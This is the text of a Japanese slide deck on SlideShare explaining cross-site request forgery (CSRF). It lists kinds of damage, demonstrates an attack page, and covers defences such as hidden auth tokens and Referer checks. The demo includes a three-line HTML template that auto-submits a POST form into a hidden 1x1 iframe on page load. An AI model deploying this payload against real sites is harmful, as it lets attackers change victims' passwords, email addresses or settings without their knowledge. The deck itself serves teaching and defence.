SlideShare a Scribd company logo
よくわかるCSRF 実例
spin13
CSRF(クロスサイトリクエストフォージェリ)
ユーザが対象のサイトのセッションを保持して
いるのを利用して対象サイトでユーザの意図し
ない処理をさせる(かなり語弊がある気がする)
CSRF 被害例
・ブログ等で勝手に投稿される
・勝手にツ◯ートされる(あそこは基本的に対策されてるから
大丈夫)
・勝手に会員サイトのユーザ設定等が変えられる
・勝手にメールが送られる(こわい)
CSRF 簡単な例
POSTした内容を表示する超簡単なやつを用意
CSRF 簡単な例
めっちゃシンプル
CSRF
ここに表示させれば成功ということに
CSRF
こんなのを用意
CSRF
CSRF
大事なのはこの3つの行
<body onload="document.getElementById('form').submit()">
<form id="form" target="frame" method="POST" action="http://xxxxxx.com/yyy/zzz.php">
<iframe id="frame" width="1" height="1"></iframe>
CSRF
<body onload="document.getElementById('form').submit()">
<form id="form" target="frame" method="POST" action="http://xxxxxx.com/yyy/zzz.php">
<iframe id="frame" width="1" height="1"></iframe>
bodyが読み込まれたらformの中身をsubmitしている
CSRF
秘密のiframe
CSRF
実行するとこんな感じのができあがる
CSRF
ここがそれぞれ対
象サイトのinputに
一致している必要
がある
CSRF
実際には
設定変更のPOST先にパラメータを入れ込むと勝手に設定が変更されたりす
る
パスワードやメールアドレスが変更されてしまうと ちゅどーん
CSRF 対策
・hiddenでauth_tokenを仕込んで,POSTされるときにそいつをチェックされる
ようにする
・セッションIDをそのままauth_tokenに入れてチェックする場合もある
※なにかしらの手段でセッションIDが漏洩したら 終わる
CSRF
Refererをチェックするのも有効ではあるが,Refererを送出
しない設定にしているユーザもいる

More Related Content

ODP
Symfony2 workshop-0 (nagoya 2011/2/10)
PPTX
クロスドメイン処理
PDF
今から始めるzsh
PDF
私たちは何を Web っぽいと感じているのか
PPTX
Lang-8 got updated on SimpleResource
PPTX
0511 lt
PDF
できるBGP! IHANet Meeting 11@うどん県(小豆島)でVyOSでpeerしてみた~初心者向け~
PPTX
Windowsでも使えるシェル
Symfony2 workshop-0 (nagoya 2011/2/10)
クロスドメイン処理
今から始めるzsh
私たちは何を Web っぽいと感じているのか
Lang-8 got updated on SimpleResource
0511 lt
できるBGP! IHANet Meeting 11@うどん県(小豆島)でVyOSでpeerしてみた~初心者向け~
Windowsでも使えるシェル

Similar to 20161114 よくわかるcsrf (7)

PDF
クロスサイトリクエストフォージェリ(CSRF)とその対策
PDF
Cross-Origin Resource Sharing
PPT
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」
PDF
SSRF基礎
PDF
CSRF脆弱性について
PPTX
安全なPHPアプリケーションの作り方2014
PDF
Idcon 17th ritou OAuth 2.0 CSRF Protection
クロスサイトリクエストフォージェリ(CSRF)とその対策
Cross-Origin Resource Sharing
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」
SSRF基礎
CSRF脆弱性について
安全なPHPアプリケーションの作り方2014
Idcon 17th ritou OAuth 2.0 CSRF Protection
Ad

20161114 よくわかるcsrf